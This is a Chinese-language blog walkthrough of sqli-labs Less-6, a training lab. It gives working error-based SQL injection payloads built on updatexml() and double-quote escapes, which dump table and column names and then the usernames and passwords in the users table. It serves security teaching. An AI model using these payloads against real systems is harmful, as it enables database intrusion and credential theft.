less-6
首先输入id=1和id=1’未报错,均显示You are in.....(如下图所示)

由上图可以看到,如果运行返回结果正确的时候只返回you are in...,不会返回数据库当中的信息了,可以从这里知道可能跟前面less-5差不多,那么我们再尝试一下id=1”

可以看到输出结果显示错误,说明这里也是使用的报错注入的方法来显示我们想要得到的结果,但是与less-5不同的是,这里使用的是双引号,而less-5是单引号。
前面less-5我们使用的是floor函数,这里我们也可使用,所有注入语句一样,只是在less-5的基础上由单引号变成双引号即可。
这里我就不再使用floor函数了,我们来使用一个新的函数:updatexml()
首先我们来了解一下update这个函数
固定格式:updatexml(a,Xpath,b)表示在文档a中,查找 Xpath 格式的内容 替换b内容
前面less-5我们知道conact(a,b,c,…)表示用来连接括号内的字符串
我们知道了这个函数如何使用后,以我们前面的基础直接就可以开始注入啦!
爆数据库名称
输入-1" union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
可以看到数据库名为security

爆数据库下的表名称
输入id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),0x7e),1)--+
可以看到security数据库下有4个表

爆表下的字段
输入id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' ),0x7e),1)--+
可以看到表下有三个字段

爆users表里面username字段
输入id=-1" and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)--+

从上图可以看到爆出的用户名有5个。
爆users表里面password字段
输入id=-1" and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)--+

以上就是通过updatexml函数报错注入来输出我们想要的结果。
随机推荐
- obj.GetType().GetCustomAttributes
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; usin ...
- TomatoLog 是一个基于 .NETCore 平台的产品。
TomatoLog TomatoLog 是一个基于 .NETCore 平台的产品. The TomatoLog 是一个中间件,包含客户端.服务端,非常容易使用和部署. 客户端实现了ILoggerFac ...
- Emiya 家今天的饭
\(dp_{i,j,k}\)表示前\(i\)种烹饪方法,假设最多的是食材\(j\),食材\(j\)比其他食材多\(k\)次出现 其中\(i \in [1,n],j \in [1,m],k \in [- ...
- html5 canvas手写字代码(兼容手机端)
html5 canvas手写字代码(兼容手机端) <pre><!DOCTYPE html><html><head> <title>画板实验& ...
- Java操作fastDFS
一.加入Maven依赖 <dependency> <groupId>org.csource</groupId> <artifactId>fastdfs- ...
- html遮罩层实现
html文件内容如下 <!--调出子窗口按钮--> <button class="add" onclick="addClick();"> ...
- linux中C语言的运行(gcc)
执行sudo apt-get install build-essential 出现
- 全网最详细的Windows里Git client客户端管理工具SourceTree的下载与安装(图文详解)
不多说,直接上干货! 很多人用Git命令行不熟练,那么可以尝试使用SourceTree进行操作. 安装之前的必备 (1)Git的安装 Git学习系列之Windows上安装Git详细步骤(图文详解 ...
- Linux基础(08)信号通信机制
1.Linux中的信号(有32个) 信号会中断一些函数的阻塞 https://zhidao.baidu.com/question/1766690354480323100.html #define S ...
- 插件部署【BE、BP、UI】
1.BE插件部署 XML部署位置:D:\yonyou\U9V50\Portal\bin: DLL部署位置:D:\yonyou\U9V50\Portal\ApplicationServer\Libs; ...